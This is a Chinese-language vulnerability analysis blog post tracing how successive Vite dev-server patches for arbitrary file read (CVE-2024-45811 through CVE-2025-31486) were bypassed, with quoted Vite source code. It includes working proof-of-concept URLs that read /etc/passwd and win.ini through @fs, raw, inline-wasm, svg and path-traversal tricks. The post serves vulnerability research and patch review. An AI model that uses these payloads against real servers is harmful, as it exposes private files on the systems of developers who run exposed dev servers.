从CVE-2025-30208到CVE-2025-31125再到CVE-2025-31486
sw0rd1ight 漏洞分析 54浏览 · 昨天23:31

最近有花了一些时间看vite任意文件读取相关的一系列漏洞,下面打算以漏洞发现者的视角,讲讲这些漏洞的一些要点

CVE-2025-30208

CVE-2025-30208这个漏洞其实是历史漏洞CVE-2024-45811的绕过,在CVE-2024-45811核心在于,漏洞作者发现vite中存在一种静态资源处理方法,能够将资源文件本身的内容原样进行返回,这个就是raw语法https://cn.vite.dev/guide/assets#importing-asset-as-string

image.png


所以CVE-2024-45811最终的poc是

http://localhost:5174/iife/@fs/C:/windows/win.ini?import&raw
官方对于CVE-2024-45811的修复补丁如下

image.png


对于传入的url使用rawRE正则进行匹配,发现如果满足了资源引入的raw语法则调用ensureServingAccess方法判断 url指向的文件否是项目内允许的资源文件,限制不可读取非项目内的文件

export const rawRE = /(\?|&)raw(?:&|$)/
image.png


而CVE-2025-30208则是绕过了上述补丁,具体是绕过了rawRE正则,从而不需要走ensureServingAccess的验证逻辑,poc如下

http://localhost:5174/iife/@fs/C:/windows/win.ini?import&raw??
image.png


只是在上一个洞的基础上加上了??

如果要绕过rawRE正则,其实只需要加一个?即可,为什么是2个??

加2个??的原因是在于,在走到rawRE的判断前会对url进行预处理,进行url解码,并且处理时间相关的参数,以及移除第一个?(或者#)到末尾的内容,所以要多加一个?来应付这种预处理

image.png


const trailingSeparatorRE = /[?&]$/
export function removeTimestampQuery(url: string): string {
return url.replace(timestampRE, '').replace(trailingSeparatorRE, '')
}
那为什么加?问号能够正常工作呢

其实是因为后面对于上述处理后的url在doTransform方法的开头又调用了一次removeTimestampQuery,把第二个也移除了所以最终处理的url还是为/@fs/C:/windows/win.ini?raw

符合定义的语法所以能走到文件读取的逻辑

image.png


image.png


对于CVE-2025-30208的补丁修复逻辑如下

image.png


既然这次的绕过是由于加了??,所以这次官方在补丁中引入了trailingQuerySeparatorsRE正则,移除url后面多余的连续的?&



CVE-2025-31125

CVE-2025-31125这个漏洞,没有直接对CVE-2025-30208补丁进行绕过,而是找到了另外的读取文件的方法explicit-inline-handling

webassembly,只不过这次不是读取文件的明文而是文件的base64编码后的内容

这次官方给的poc是

http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
核心在于inline.wasm?init

首先来看下官方文档中介绍的inline用法

image.png


即只需要加上inline即可将文件内容作为静态资源进行内嵌



再看一下webAssembly的使用,只要以.wasm?init结尾即可返回文件内容的base64编码

image.png


所以结合inline语法,我们就有可能读取到以wasm为后缀的文件到base64编码后文件内容

但是似乎不太对,我们要读的明明不是.wasm文件,我们要达到的目的是要读取任意文件,这个又是咋回事?

这个是因为wasmHelperPlugin的处理逻辑有点问题,实际的程序逻辑只要求最后以.wasm?init结尾即可,但是其实没有考虑到.wasm?init可能在参数的位置

image.png


最终可以走到核心fileToDevUrl方法,该方法只要求id(即处理后的url)满足正则/[?&]inline\b/即可走到文件读取的逻辑(其中cleanUrl很贴心地将我们?后面带的参数部分全部移除,所以最后的file为"C:/Windows/win.ini"

export const inlineRE = /[?&]inline\b/
export async function fileToDevUrl(
environment: Environment,
id: string,
skipBase = false,
): Promise<string> {
const config = environment.getTopLevelConfig()
const publicFile = checkPublicFile(id, config)

// If has inline query, unconditionally inline the asset
if (inlineRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
return assetToDataURL(environment, file, content)
}



image.png


官方对此的修复如下

既然inline语法有可能会因为文件内联导致文件内容被读取,那么对于传入的url使用inlineRE正则进行匹配,发现如果满足了资源引入的inline语法则调用ensureServingAccess方法判断 url指向的文件否是项目内允许的资源文件,限制不可读取非项目内的文件

image.png




CVE-2025-31486

CVE-2025-31486可谓是大家各显神通的一个漏洞,主要包含了2种绕过的方法

寻找新的文件内敛方法.svg

在上面分析CVE-2025-31125的时候提到了fileToDevUrl,只贴了一半逻辑,现在贴下其完整逻辑

export async function fileToDevUrl(
environment: Environment,
id: string,
skipBase = false,
): Promise<string> {
const config = environment.getTopLevelConfig()
const publicFile = checkPublicFile(id, config)

// If has inline query, unconditionally inline the asset
if (inlineRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
return assetToDataURL(environment, file, content)
}

// If is svg and it's inlined in build, also inline it in dev to match
// the behaviour in build due to quote handling differences.
if (svgExtRE.test(id)) {
const file = publicFile || cleanUrl(id)
const content = await fsp.readFile(file)
if (shouldInline(environment, file, id, content, undefined, undefined)) {
return assetToDataURL(environment, file, content)
}
}

let rtn: string
if (publicFile) {
// in public dir during dev, keep the url as-is
rtn = id
} else if (id.startsWith(withTrailingSlash(config.root))) {
// in project root, infer short public path
rtn = '/' + path.posix.relative(config.root, id)
} else {
// outside of project root, use absolute fs path
// (this is special handled by the serve static middleware
rtn = path.posix.join(FS_PREFIX, id)
}
if (skipBase) {
return rtn
}
const base = joinUrlSegments(config.server.origin ?? '', config.decodedBase)
return joinUrlSegments(base, removeLeadingSlash(rtn))
}
CVE-2025-31125走的分支是inlineRE.test(id),但是现在inline不能用了,那我们可以走svgExtRE.test(id)分支

这个就是官方披露的第一个poc

http://localhost:5173/iife/C:/windows/win.ini?import&?.svg?.wasm?init
image.png


得出这个poc一个是要满足svgExtRE正则和shouldInline方法中的各种条条框框

function shouldInline(
environment: Environment,
file: string,
id: string,
content: Buffer,
/** Should be passed only in build */
buildPluginContext: PluginContext | undefined,
forceInline: boolean | undefined,
): boolean {
if (noInlineRE.test(id)) return false
if (inlineRE.test(id)) return true
// Do build only checks if passed the plugin context during build
if (buildPluginContext) {
if (environment.config.build.lib) return true
if (buildPluginContext.getModuleInfo(id)?.isEntry) return false
}
if (forceInline !== undefined) return forceInline
if (file.endsWith('.html')) return false
// Don't inline SVG with fragments, as they are meant to be reused
if (file.endsWith('.svg') && id.includes('#')) return false
let limit: number
const { assetsInlineLimit } = environment.config.build
if (typeof assetsInlineLimit === 'function') {
const userShouldInline = assetsInlineLimit(file, content)
if (userShouldInline != null) return userShouldInline
limit = DEFAULT_ASSETS_INLINE_LIMIT
} else {
limit = Number(assetsInlineLimit)
}
return content.length < limit && !isGitLfsPlaceholder(content)
}
可以有很多变形,核心不变的在于.svg

这种利用方式还有个限制就是只能读取文件小于 build.assetsInlinelimit (默认为 4kB) 的文件

image.png




bypass权限校验ensureServingAccess

官方披露的第二个poc为

curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
上面我们说到在修复CVE-2024-45811时有引入ensureServingAccess对传入的url进行校验,这个poc就绕过了ensureServingAccess的校验从而使用raw语法成功读取到了文件



针对我本地项目的情况,我本地可用的poc为

http://localhost:5173/iife/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/?/../../../../../../../windows/win.ini?import&raw
按照这个poc的允许步骤来看下具体的流程

CVE-2025-30208的补丁中引入了trailingQuerySeparatorsRE正则替换,经过该正则处理后的urlWithoutTrailingQuerySeparators

/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/?/../../../../../../../windows/win.ini?import&raw

image.png


故传入ensureServingAccess的url参数即为/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/?/../../../../../../../windows/win.ini?import&raw

ensureServingAccess方法中只要isFileServingAllowed方法返回true即可通过校验

export function ensureServingAccess(
url: string,
server: ViteDevServer,
res: ServerResponse,
next: Connect.NextFunction,
): boolean {
if (isFileServingAllowed(url, server)) {
return true
}
if (isFileReadable(cleanUrl(url))) {
const urlMessage = `The request url "${url}" is outside of Vite serving allow list.`
const hintMessage = `
${server.config.server.fs.allow.map((i) => `- ${i}`).join('\n')}

Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.`

server.config.logger.error(urlMessage)
server.config.logger.warnOnce(hintMessage + '\n')
res.statusCode = 403
res.write(renderRestrictedErrorHTML(urlMessage + '\n' + hintMessage))
res.end()
} else {
// if the file doesn't exist, we shouldn't restrict this path as it can
// be an API call. Middlewares would issue a 404 if the file isn't handled
next()
}
return false
}
isFileServingAllowed对于此次绕过的核心在fsPathFromUrl的调用

TypeScript
复制代码
export function isFileServingAllowed(
url: string,
server: ViteDevServer,
): boolean
export function isFileServingAllowed(
configOrUrl: ResolvedConfig | string,
urlOrServer: string | ViteDevServer,
): boolean {
const config = (
typeof urlOrServer === 'string' ? configOrUrl : urlOrServer.config
) as ResolvedConfig
const url = (
typeof urlOrServer === 'string' ? urlOrServer : configOrUrl
) as string

if (!config.server.fs.strict) return true
const filePath = fsPathFromUrl(url)
return isFileLoadingAllowed(config, filePath)
}
fsPathFromUrl方法在处理路径时首先调用了cleanUrl对url进行了再次处理

TypeScript
复制代码
export function fsPathFromUrl(url: string): string {
return fsPathFromId(cleanUrl(url))
}
cleanUrl会使用正则处理url中的第一个?或者#开始的到结尾的部分进行移除,经过cleanUrl处理后返回的url为/@fs/C:/Users/swordlight/main/sec/analyse/vite-6.2.4/这个其实指向的就是我本地项目的根路径,是合法的

image.png


经过url到路径的转换最终被用来进行鉴权判断的路径为C:/Users/swordlight/main/sec/analyse/vite-6.2.4/,其实这个就是我本地项目实际的根目录

image.png


所以最终在进行目录校验时,最终满足了第三个分支,通过了目录的合法性的校验

image.png




但是通过目录验证后,后续的处理逻辑却又是使用我们原始的url进行处理

image.png


image.png


后续在处理完毕@fs和进行路径规范化后得到的url即为C:/windows/win.ini?raw

最终可以使用raw语法成功读取明文文件内容

image.png




总结

vite这一系列漏洞单看某个漏洞不觉得有什么,但是总体看会发现还是有点意思。上一个漏洞的补丁可能会为下一个漏洞的利用埋下伏笔。个人觉得可能是官方在修复时没有站在一个更全局的视角去考虑修复的方法,所以存在这种一波三折的修复情况。



0 条评论
某人
表情
可输入字

没有评论